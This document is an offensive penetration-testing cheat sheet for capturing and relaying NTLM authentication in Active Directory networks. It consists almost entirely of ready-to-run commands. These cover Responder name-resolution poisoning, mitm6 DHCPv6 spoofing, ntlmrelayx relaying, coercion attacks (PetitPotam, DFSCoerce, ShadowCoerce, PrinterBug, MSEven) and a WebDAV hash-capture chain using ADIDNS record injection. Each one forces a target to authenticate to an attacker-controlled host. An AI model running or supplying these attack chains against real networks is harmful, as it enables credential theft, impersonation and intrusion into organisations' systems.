	Capture	Relay
	responder -I eth0 (-A)	ntlmrelayx.py (-6) -t \<target\>
Unauthenticated		
LLMNR/mDNS/NBNS Poisoning responder -I eth0 -w responder -I eth0 -P *responder -I eth0 -wF	responder -I eth0 -w	ntlmrelayx.py -t \<target\> responder -I eth0 -w
DHCPv6 Spoofing *mitm6 -d \<domain\> -hb \<kali\>	*mitm6 -d \<domain\> -hb \<kali\> responder -I eth0 -A	ntlmrelayx.py -6 -t \<target\> *mitm6 -d \<domain\> -hb \<kali\>
Coercion: PetitPotam (CVE-2022-26925) PetitPotam.py \<kali\> \<target\> nxc smb \<target\> -M coerce_plus M=Petitpotam L=\<kali\>	responder -I eth0 -A nxc smb \<target\> -M coerce_plus M=Petitpotam L=\<kali\>	ntlmrelayx.py -t \<target\> nxc smb \<target\> -M coerce_plus M=Petitpotam L=\<kali\>
Authenticated		
Coercion: PetitPotam PetitPotam.py -d \<domain\> -u \<user\> -p \<password\> \<kali\> \<target\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=Petitpotam L=\<kali\>	responder -I eth0 -A nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=Petitpotam L=\<kali\>	ntlmrelayx.py -t \<target\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=Petitpotam L=\<kali\>
Coercion: DFSCoerce dfscoerce.py -d \<domain\> -u \<user\> -p \<password\> \<kali\> \<target\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=DFSCoerce L=\<kali\>	responder -I eth0 -A nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=DFSCoerce L=\<kali\>	ntlmrelayx.py -t \<target\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=DFSCoerce L=\<kali\>
Coercion: ShadowCoerce shadowcoerce.py-d \<domain\> -u \<user\> -p \<password\> \<kali\> \<target\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=ShadowCoerce L=\<kali\>	responder -I eth0 -A nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=ShadowCoerce L=\<kali\>	ntlmrelayx.py -t \<target\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=ShadowCoerce L=\<kali\>
Coercion: PrinterBug printerbug.py \<domain\>/\<user\>:\<password\>@\<target\> \<kali\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=Printerbug L=\<kali\>	responder -I eth0 -A nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=Printerbug L=\<kali\>	ntlmrelayx.py -t \<target\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=Printerbug L=\<kali\>
Coercion: MSEven (CheeseOunce) cheese.py \<domain\>/\<user\>:\<password\>@\<target\> \<kali\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=MSEven L=\<kali\>	responder -I eth0 -A nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=MSEven L=\<kali\>	ntlmrelayx.py -t \<target\> nxc smb \<target\> -u \<user\> -p \<password\> -M coerce_plus M=MSEven L=\<kali\>

Coercion: Get WebDAV Hash

1. Check for WebClient service

   webclientservicescanner <domain>/<user>:<password>@<target>
   netexec smb <target> -u <user> -p <password> -M webdav

2. Get a NetBIOS name: **LLMNR/mDNS/NBNS poisoning** or **ADIDNS poisoning**

3. Set listener (kali)

   <kali> ⇒ <netbios>@80/file.txt

	Capture	Relay
	responder -I eth0 (-A)	ntlmrelayx.py --no-smb-server -t <target>
Authenticated		
Coercion: PetitPotam PetitPotam.py -d <domain> -u <user> -p <password> '<netbios>@80/file.txt' <target>	**WebDAV** **(LLMNR/mDNS/NBNS Poisoning)** responder -I eth0 -w PetitPotam.py -d <domain> -u <user> -p <password> 'bogus@80/file.txt' <target> **WebDAV** **(ADIDNS Poisoning)** dnstool.py -u '<domain>\<user>' -p <password> -a add -r pentest -d <kali> <dc> responder -I eth0 -A PetitPotam.py -d <domain> -u <user> -p <password> 'pentest@80/file.txt' <target>	**WebDAV** **(LLMNR/mDNS/NBNS Poisoning)** ntlmrelayx.py --no-smb-server -t <target> responder -I eth0 -w PetitPotam.py -d <domain> -u <user> -p <password> 'bogus@80/file.txt' <target> **WebDAV** **(ADIDNS Poisoning)** dnstool.py -u '<domain>\<user>' -p <password> -a add -r pentest -d <kali> <dc> ntlmrelayx.py -t <target> --no-smb-server PetitPotam.py -d <domain> -u <user> -p <password> 'pentest@80/file.txt' <target>
Coercion: DFSCoerce dfscoerce.py -d <domain> -u <user> -p <password> '<netbios>@80/file.txt' <target>	**WebDAV** **(LLMNR/mDNS/NBNS Poisoning)** responder -I eth0 -w dfscoerce.py -d <domain> -u <user> -p <password> 'bogus@80/file.txt' <target> **WebDAV** **(ADIDNS Poisoning)** dnstool.py -u '<domain>\<user>' -p <password> -a add -r pentest -d <kali> <dc> responder -I eth0 -A dfscoerce.py -d <domain> -u <user> -p <password> 'pentest@80/file.txt' <target>	**WebDAV** **(LLMNR/mDNS/NBNS Poisoning)** ntlmrelayx.py --no-smb-server -t <target> responder -I eth0 -w dfscoerce.py -d <domain> -u <user> -p <password> bogus@80/file.txt <target> **WebDAV** **(ADIDNS Poisoning)** dnstool.py -u '<domain>\<user>' -p <password> -a add -r pentest -d <kali> <dc> ntlmrelayx.py -t <target> --no-smb-server dfscoerce.py -d <domain> -u <user> -p <password> 'pentest@80/file.txt' <target>
. . .	. . .	. . .